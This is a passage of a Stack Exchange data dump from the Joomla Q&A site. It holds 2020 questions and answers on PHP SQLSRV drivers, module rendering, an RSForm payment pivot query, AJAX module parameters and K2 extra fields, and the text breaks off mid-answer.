LastEditDate="2020-07-02T22:40:30.203" LastActivityDate="2020-07-08T15:30:00.007" Title="Cannot Connect To MSSQL Server" Tags="|joomla-3.x|php|database|php7|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28235" PostTypeId="2" ParentId="28234" CreationDate="2020-07-02T16:48:00.487" Score="0" Body="&lt;p&gt;Your issue is not related to Joomla. You are manually calling a function which does not exist on your PHP installation. This most likely means the required SQLSRV PHP extension is not enabled.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-07-02T16:48:00.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28236" PostTypeId="2" ParentId="28234" CreationDate="2020-07-03T11:13:05.367" Score="1" Body="&lt;p&gt;As @Sharky said, it seems like your &lt;code&gt;SQLSRV&lt;/code&gt; extension isn't enabled. You can manually activate it by changing your &lt;code&gt;php.ini&lt;/code&gt; file, enabling this extension and downloading the drivers.&lt;/p&gt;&#xA;&lt;p&gt;PHP Documentation says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The SQLSRV extension is enabled by adding appropriate DLL file to your&#xA;PHP extension directory and the corresponding entry to the php.ini&#xA;file. The SQLSRV download comes 8 driver files, four of which are for&#xA;PDO support.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can download the file here&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sql/connect/php/download-drivers-php-sql-server?view=sql-server-ver15&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/sql/connect/php/download-drivers-php-sql-server?view=sql-server-ver15&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/download/details.aspx?id=20098&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.microsoft.com/en-us/download/details.aspx?id=20098&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have downloaded the file, you have to execute it.&#xA;A box will prompt asking where you want to extract.&lt;/p&gt;&#xA;&lt;p&gt;You can extract to wherever you want to and then copy to your php extension folder or you can directly extract to your PHP extension folder.  Usually your extension folder lies in: &lt;code&gt;your-php-folder\bin\php\your-php-version&lt;/code&gt; or &lt;code&gt;your-php-folder\bin\php&lt;/code&gt; and it's called &lt;code&gt;ext&lt;/code&gt;. So the final path is something like this: &lt;code&gt;your-php-folder\bin\php\ext&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To enable the dll in your &lt;code&gt;php.ini&lt;/code&gt; file, you have to open it, and search for &lt;code&gt;Extensions&lt;/code&gt; then add the dll like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extension=name-of-your-dll-you-downloaded-and-extracted-to-the-ext-folder.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extension=php_sqlsrv_81_s.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If that doesn't work, you can try simply &lt;code&gt;extension=sqlsrv_81_s&lt;/code&gt; leaving out php_ and .dll&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-07-03T18:52:00.273" LastActivityDate="2020-07-03T18:52:00.273" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28237" PostTypeId="1" CreationDate="2020-07-03T16:38:35.733" Score="1" ViewCount="71" Body="&lt;p&gt;I have updated Joomla to 3.9 and now I see this error every time I try to load the website:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error: Class 'Joomla\CMS\Cache\Cache' not found: Class 'Joomla\CMS\Cache\Cache' not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Error reporting is already at maximum, I can't access the back-end as well. Tried to find a way to fix it, but only found dead-ends.&lt;/p&gt;&#xA;" OwnerUserId="14387" LastEditorUserId="12352" LastEditDate="2020-07-04T07:31:18.450" LastActivityDate="2020-07-04T07:31:18.450" Title="After updating Joomla 3.9 - Class 'Joomla\CMS\Cache\Cache' not found" Tags="|joomla-3.x|cache|fatal-error|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28239" PostTypeId="1" CreationDate="2020-07-04T15:55:05.637" Score="3" ViewCount="283" Body="&lt;p&gt;I have several modules for a given position, but I only want to display one of them (selected randomly) on the front-end in a Gantry template.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2020-07-06T21:52:51.907" LastActivityDate="2020-07-14T23:15:33.353" Title="Randomly render one of the modules in a given position" Tags="|module|templates|front-end|gantry|positions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28241" PostTypeId="2" ParentId="28239" CreationDate="2020-07-05T05:08:51.643" Score="4" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.ModuleHelper.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Module Helper documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;getModules()&lt;/code&gt;:  &lt;strong&gt;Get modules by position&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;getModules(string $position) : array static&lt;br&gt;&#xA;since 1.5&lt;/p&gt;&#xA;&lt;p&gt;Arguments&lt;br&gt;&#xA;$position string The position of the module&lt;/p&gt;&#xA;&lt;p&gt;Response array&lt;br&gt;&#xA;An array of module objects&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;renderModule()&lt;/code&gt;: &lt;strong&gt;Render the module.&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;renderModule(object $module, array $attribs = array()) : string&#xA;static&lt;br&gt;&#xA;since 1.5&lt;/p&gt;&#xA;&lt;p&gt;Arguments&lt;br&gt;&#xA;$module objectA module object.&lt;br&gt;&#xA;$attribs array An array of attributes for the module (probably from the XML).&lt;/p&gt;&#xA;&lt;p&gt;Response string&lt;br&gt;&#xA;The HTML content of the module output.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This means that after declaring &lt;code&gt;use Joomla\CMS\Helper\ModuleHelper;&lt;/code&gt;, you can simply:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Fetch all of the modules at your designated position as an array.&lt;/li&gt;&#xA;&lt;li&gt;Randomly select a single module object from the array of objects using &lt;a href=&quot;https://www.php.net/manual/en/function.array-rand.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;array_rand()&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Display/Echo the rendered module content.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$position = 'position-2';&#xA;$modules = JModuleHelper::getModules($position);&#xA;echo JModuleHelper::renderModule($modules[array_rand($modules)]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is effectively an extension of &lt;a href=&quot;https://joomla.stackexchange.com/a/3761/12352&quot;&gt;FFrewin's answer from 2014&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In your template, write the jdoc placeholder.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&amp;quot;modules&amp;quot; name=&amp;quot;position-2&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A short list of relevant pages to reference:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Jdoc_statements&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Documentation: Jdoc statements&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/knowledgebase/32-documentation-faq-joomla/177-how-to-add-module-position-in-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Balbooa tutorial: How to Add New Module Position in Joomla?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ostraining.com/joomla-support/5519-templates-modules-and-jdoc-statements/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSTraining thread: Templates, Modules, and JDOC statements&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-07-06T22:01:04.520" LastActivityDate="2020-07-06T22:01:04.520" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28242" PostTypeId="2" ParentId="28224" CreationDate="2020-07-05T12:06:58.013" Score="1" Body="&lt;p&gt;There is something wrong with the container Volume. Try to delete your container first and then create it again.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;docker container prune&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;docker-compose up&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;sub&gt;* this is &lt;a href=&quot;https://stackoverflow.com/a/62679912/2943403&quot;&gt;the accepted answer to a cross-posted question on Stack Overflow&lt;/a&gt;.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="14389" LastEditorUserId="12352" LastEditDate="2020-07-05T22:00:13.543" LastActivityDate="2020-07-05T22:00:13.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28243" PostTypeId="1" AcceptedAnswerId="28255" CreationDate="2020-07-05T14:25:14.160" Score="2" ViewCount="119" Body="&lt;p&gt;After being helped very well by Stack community and learning a bit I created a query to show the sum of payments per client. A client can pay multiple times. I would like to know the sum of payments in a period per client. So far I managed to see different shelters, the sum of payments but only one client shows up per shelter instead of multiple clients.&lt;/p&gt;&#xA;&lt;p&gt;This is the query. It's probably an easy thing for someone else, but I don't know where to start or how to search.&lt;/p&gt;&#xA;&lt;p&gt;The db fiddle link is: &lt;a href=&quot;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/0&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    Date,&#xA;    ClientID,&#xA;    Sum(Amount) as Amount&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Amount', FieldValue, NULL)) AS Amount,&#xA;      Max(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'Date', FieldValue, NULL)) AS Month&#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 23&#xA;  GROUP BY SubmissionId&#xA;) DerivedTable&#xA;GROUP BY Shelter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Required output from left to right in table:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Shelter | ClientID | Month | Amount&#xA;&#xA;Bellville | A82QS3OK | 07-2020 | 200.1&#xA;Bellville | G993HJOS | 06-2020 | 500&#xA;**Bellville | G993HJOS | 08-2020 | 212.6**&#xA;Napier Street | BL9B2GDF | 07-2020 | 300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Progress update 2020-07-06:&#xA;The answer from MickMackUSA works as an example script to answer the question about having the result: Sum per client per month and uses the field &amp;quot;Date&amp;quot; to extract information.&#xA;&lt;a href=&quot;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/18&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/18&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    YEAR(Date) AS Year,&#xA;    Month(Date) AS Month,&#xA;    ClientID,&#xA;    FORMAT(SUM(Amount), 2) AS Amount&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Amount', FieldValue, NULL)) AS Amount,&#xA;      Max(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'Date', FieldValue, NULL)) AS Date&#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 23&#xA;  GROUP BY SubmissionId&#xA;) DerivedTable&#xA;GROUP BY Shelter, ClientId, YEAR(Date), Month(Date)&#xA;ORDER BY Shelter, ClientId, YEAR(Date), Month(Date)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, I need to know the result per &amp;quot;Monthpayment&amp;quot;. That has a date value (YYYY-MM-DD). The field &amp;quot;date&amp;quot; is to define the moment of payment and the field &amp;quot;Monthpayment&amp;quot; is to define for which month the payment is for. That's why I need an addition to the script. I do get the query error message: Error: ER_BAD_FIELD_ERROR: Unknown column &amp;quot;Monthpayment&amp;quot; in 'field list'.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/19&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/19&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    Month(Monthpayment) AS Monthpayment,&#xA;    ClientID,&#xA;    FORMAT(SUM(Amount), 2) AS Amount&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Amount', FieldValue, NULL)) AS Amount,&#xA;      Max(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'Monthpayment', FieldValue, NULL)) AS Month&#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 23&#xA;  GROUP BY SubmissionId&#xA;) DerivedTable&#xA;GROUP BY Shelter, ClientId, Monthpayment&#xA;ORDER BY Shelter, ClientId, Monthpayment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What do I do wrong?&lt;/p&gt;&#xA;&lt;p&gt;Progress update 2020-07-07&#xA;db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/20&lt;/p&gt;&#xA;&lt;p&gt;The issue is almost solved:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MAX(IF(FieldName = 'Monthpayment', FieldValue, NULL)) AS Month&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Should be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MAX(IF(FieldName = 'Monthpayment', FieldValue, NULL)) AS Monthpayment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, the database sees two dates with July as different months. Dates &lt;code&gt;2020-07-06&lt;/code&gt; and &lt;code&gt;2020-07-09&lt;/code&gt; are seen as two different months.&lt;/p&gt;&#xA;" OwnerUserId="14260" LastEditorUserId="126" LastEditDate="2020-07-10T16:40:45.073" LastActivityDate="2020-07-10T16:40:45.073" Title="PlotALOT RSForm Query showing only one result" Tags="|joomla-3.x|mysql|rsform|pivot|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28244" PostTypeId="1" AcceptedAnswerId="28245" CreationDate="2020-07-05T15:12:23.630" Score="1" ViewCount="584" Body="&lt;p&gt;I have set up an AJAX call in my module which works fine.  I want to get the module parameters when I make the ajax call.  So I'm doing this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$module = JModuleHelper::getModule('mod_moduleName_display');&#xA;$params = new JRegistry($module-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works fine except I have multiple mod_moduleName_display modules instances.  So it picks up the first module parameters not the one I want.&lt;/p&gt;&#xA;&lt;p&gt;I can't find a way to get the module parameters using the module id.  I could pass them into the AJAX call or get them directly from the modules table but I'm hoping that there is a standard Joomla way of doing this that I've missed.&lt;/p&gt;&#xA;&lt;p&gt;Update showing code for AJAX call:&lt;/p&gt;&#xA;&lt;p&gt;sermon contains the module id - i.e. sermons.moduleToUse&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function runAjax(page){&#xA;&#xA;    page_no = page;&#xA;    moduleToUSe =  sermons.moduleToUse;&#xA;    sermons.start = page;&#xA;    var dataJSON = sermons;&#xA;&#xA;    request = {&#xA;        'option' : 'com_ajax',&#xA;        'module' :  moduleToUSe,&#xA;        'parameters'  :  sermons,&#xA;        'format' : 'json'&#xA;    };&#xA;&#xA;    jQuery.ajax({&#xA;        type   : 'POST',&#xA;        data   : request,&#xA;        success: function (jsonObj) {&#xA;            jQuery(&amp;quot;#container&amp;quot;).html(&amp;quot;&amp;quot;);&#xA;&#xA;            jsonArrayResponse =  jQuery.parseJSON(jsonObj[&amp;quot;data&amp;quot;]);&#xA;&#xA;            console.log(jsonArrayResponse);&#xA;&#xA;        }&#xA;    });&#xA;&#xA;    return false;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-07-05T15:25:30.333" LastActivityDate="2020-07-05T15:41:53.177" Title="Getting module parameters in AJAX call using module id" Tags="|joomla-3.x|ajax|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28245" PostTypeId="2" ParentId="28244" CreationDate="2020-07-05T15:41:53.177" Score="2" Body="&lt;p&gt;If you know the ID, you can use &lt;code&gt;JModuleHelper::getModuleById()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.ModuleHelper.html#method_getModuleById&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.ModuleHelper.html#method_getModuleById&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-07-05T15:41:53.177" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28248" PostTypeId="1" AcceptedAnswerId="28256" CreationDate="2020-07-06T12:06:24.843" Score="1" ViewCount="228" Body="&lt;p&gt;I am trying to build a Joomla website with an AcyMailing subscription form.&lt;/p&gt;&#xA;&lt;p&gt;I'd like the form to be a pop-up window. I have researched thoroughly and I have achieved most of what I want.&lt;/p&gt;&#xA;&lt;p&gt;Now I have a pop-up form (as an AcyMailing subscription module), but the form closes when I click in the form.&lt;/p&gt;&#xA;&lt;p&gt;When I click outside the form, it does nothing -- as desired.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;// When the user clicks on &amp;lt;div&amp;gt;, open the popup&#xA;function myFunction() {&#xA;  var popup = document.getElementById(&amp;quot;myPopup&amp;quot;);&#xA;  popup.classList.toggle(&amp;quot;show&amp;quot;);&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;div class=&amp;quot;popup&amp;quot; onclick=&amp;quot;myFunction()&amp;quot;&amp;gt;CLICK HERE TO SUBSCRIBE&#xA;    &amp;lt;span class=&amp;quot;popuptext&amp;quot; id=&amp;quot;myPopup&amp;quot;&amp;gt;&#xA;        &amp;lt;table class=&amp;quot;acym_form&amp;quot;&amp;gt;&#xA;            *(the acy mailing form module here)*&#xA;        &amp;lt;/table&amp;gt;     &#xA;    &amp;lt;/span&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone have a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="14390" LastEditorUserId="12352" LastEditDate="2020-07-06T12:39:04.147" LastActivityDate="2020-07-07T23:29:52.163" Title="Pop up AcyMailing subscription form" Tags="|module|form|subscriptions|popup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28249" PostTypeId="1" AcceptedAnswerId="28251" CreationDate="2020-07-06T13:39:26.560" Score="1" ViewCount="155" Body="&lt;p&gt;I am trying to display specific extra field values of a specific item with the K2 tool module.&lt;/p&gt;&#xA;&lt;p&gt;I have tried to get just &lt;code&gt;BRAND&lt;/code&gt;, but I'm getting &lt;strong&gt;stdClass::brand()&lt;/strong&gt; error.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$articleid = JRequest::getInt('id');&#xA;$db-&amp;gt;setQuery('SELECT extra_fields FROM #__k2_items WHERE id='.$articleid);&#xA;$AllExtraFields = $db-&amp;gt;loadResult();&#xA;$AllExtraFields = json_decode($AllExtraFields);&#xA;$lists[$i]-&amp;gt;brand= $AllExtraFields[1]-&amp;gt;value;&#xA;$myid=$lists[$i]-&amp;gt;brand();&#xA;echo $myid;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;This is a row from my &lt;code&gt;#__k2_items&lt;/code&gt; table:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tAYAL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAYAL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;This is the desired row from my &lt;code&gt;#__k2_extra_fields&lt;/code&gt; table:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PMRHE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PMRHE.png&quot; alt=&quot;This view from item&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13315" LastEditorUserId="12352" LastEditDate="2020-07-07T10:14:51.190" LastActivityDate="2020-07-07T10:22:54.200" Title="How to display specific K2 extra field of current item with k2 tool module" Tags="|k2|sql|json|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28251" PostTypeId="2" ParentId="28249" CreationDate="2020-07-06T18:04:40.657" Score="1" Body="&lt;p&gt;I made it like this and it works.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db = JFactory::getDBO();&#xA;$articleid = JRequest::getInt('id');&#xA;$db-&amp;gt;setQuery('SELECT extra_fields FROM #__k2_items WHERE id='.$articleid);&#xA;$AllExtraFields = $db-&amp;gt;loadResult();&#xA;$AllExtraFields = json_decode($AllExtraFields);&#xA;echo $AllExtraFields[0]-&amp;gt;value;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13315" LastEditorUserId="12352" LastEditDate="2020-07-07T10:22:54.200" LastActivityDate="2020-07-07T10:22:54.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28253" PostTypeId="2" ParentId="28249" CreationDate="2020-07-06T22:24:03.413" Score="1" Body="&lt;p&gt;Start by extracting the &lt;code&gt;extra_fields&lt;/code&gt; column's json string from &lt;code&gt;#__k2_items&lt;/code&gt; table at the row of your choosing, then decode it.  Each row from the array (generated by decoding json), will have two elements having respective keys: &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;value&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;I don't quite know the full picture of what you are trying to do, but I can help you to relate and extract the data.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$output = [];&#xA;$db = JFactory::getDBO();&#xA;$db-&amp;gt;setQuery('SELECT extra_fields FROM #__k2_items WHERE id = ' . JRequest::getInt('id'));&#xA;foreach (json_decode($db-&amp;gt;loadResult() ?: '[]', true) as ['id' =&amp;gt; $id, 'value' =&amp;gt; $value]) {&#xA;    &#xA;    // Access the extra_fields using this row's id&#xA;    $db-&amp;gt;setQuery('SELECT * FROM #__k2_extra_fields WHERE id = ' . (int)$id);&#xA;    $row = $db-&amp;gt;loadAssoc();&#xA;    $output[] = [&#xA;        'id' =&amp;gt; $id,&#xA;        'value' =&amp;gt; $value,&#xA;        'extraFieldName' =&amp;gt; $row['name'],&#xA;        'extraFieldType' =&amp;gt; $row['type'],&#xA;        'decoded' =&amp;gt; json_decode($row['value'], true)&#xA;    ];&#xA;}&#xA;var_export($output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will effectively display the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    [&#xA;        'id' =&amp;gt; '1',&#xA;        'value' =&amp;gt; 'PERKINS',&#xA;        'extraFieldName' =&amp;gt; 'BRAND',&#xA;        'extraFieldType' =&amp;gt; 'textfield',&#xA;        'decoded' =&amp;gt; [&#xA;            [&#xA;                'name' =&amp;gt; null,&#xA;                'value' =&amp;gt; '',&#xA;                'target' =&amp;gt; null,&#xA;                'alias' =&amp;gt; 'brand',&#xA;                'required' =&amp;gt; 1,&#xA;                'showNull' =&amp;gt; 0&#xA;            ]&#xA;        ]&#xA;    ],&#xA;    [&#xA;        'id' =&amp;gt; '2',&#xA;        'value' =&amp;gt; '14',&#xA;        // more data that I can't see...&#xA;    ],&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have seen snippets in K2 such as &lt;code&gt;$item-&amp;gt;extra_fields = $model-&amp;gt;getItemExtraFields($item-&amp;gt;extra_fields, $item);&lt;/code&gt; which indicate that there are some pre-existing helpful methods on offer, but I must admit that I am not a K2 user, so I am poorly suited to advise on these.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-07-07T10:04:11.633" LastActivityDate="2020-07-07T10:04:11.633" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28255" PostTypeId="2" ParentId="28243" CreationDate="2020-07-07T14:37:54.553" Score="2" Body="&lt;p&gt;From this sample data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `o2pe0_rsform_submission_values` (`SubmissionValueId`, `FormId`, `SubmissionId`, `FieldName`, `FieldValue`) VALUES&#xA;(2124732, 23, 47529, 'SHELTER', 'Bellville'),&#xA;(2124728, 23, 47529, 'Amount', '500'),&#xA;(2124731, 23, 47529, 'ClientID', 'G993HJOS'),&#xA;(2124729, 23, 47529, 'Monthpayment', '2020-07-09'),&#xA;&#xA;(2124743, 23, 47530, 'SHELTER', 'Bellville'),&#xA;(2124739, 23, 47530, 'Amount', '255'),&#xA;(2124742, 23, 47530, 'ClientID', 'G993HJOS'),&#xA;(2124740, 23, 47530, 'Monthpayment', '2020-07-06'),&#xA;&#xA;(2124754, 23, 47531, 'SHELTER', 'Bellville'),&#xA;(2124750, 23, 47531, 'Amount', '300'),&#xA;(2124753, 23, 47531, 'ClientID', 'G993HJOS'),&#xA;(2124751, 23, 47531, 'Monthpayment', '2020-08-06'),&#xA;&#xA;(2124765, 23, 47532, 'SHELTER', 'Bellville'),&#xA;(2124761, 23, 47532, 'Amount', '1000'),&#xA;(2124764, 23, 47532, 'ClientID', 'A82QS3OK'),&#xA;(2124762, 23, 47532, 'Monthpayment', '2020-05-12');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is important that you are isolating the year and the month values from the date string so that you can reliably group by year AND month.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.db-fiddle.com/f/84VP3HEQLpiQgYEFEVn919/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB-Fiddle Demo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    Shelter,&#xA;    ClientID,&#xA;    Year,&#xA;    Month,&#xA;    FORMAT(SUM(Amount), 2) AS Amount&#xA;FROM (&#xA;  SELECT&#xA;      MAX(IF(FieldName = 'SHELTER', FieldValue, NULL)) AS Shelter,&#xA;      SUM(IF(FieldName = 'Amount', FieldValue, NULL)) AS Amount,&#xA;      Max(IF(FieldName = 'ClientID', FieldValue, NULL)) AS ClientID,&#xA;      MAX(IF(FieldName = 'Monthpayment', YEAR(FieldValue), NULL)) AS Year,&#xA;      MAX(IF(FieldName = 'Monthpayment', MONTH(FieldValue), NULL)) AS Month  &#xA;  FROM o2pe0_rsform_submission_values&#xA;  WHERE FormId = 23&#xA;  GROUP BY SubmissionId&#xA;) DerivedTable&#xA;GROUP BY Shelter, ClientId, Year, Month&#xA;ORDER BY Shelter, ClientId, Year, Month&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For anyone who is new to this technique, the &lt;code&gt;DerivedTable&lt;/code&gt; is isolating the all submission data for a particular RSForm form, then flattening the many, many rows into flattened rows of data based on the shared &lt;code&gt;SubmissionId&lt;/code&gt;s.  This sets up the remaining parts of the query to be able to re-group based on 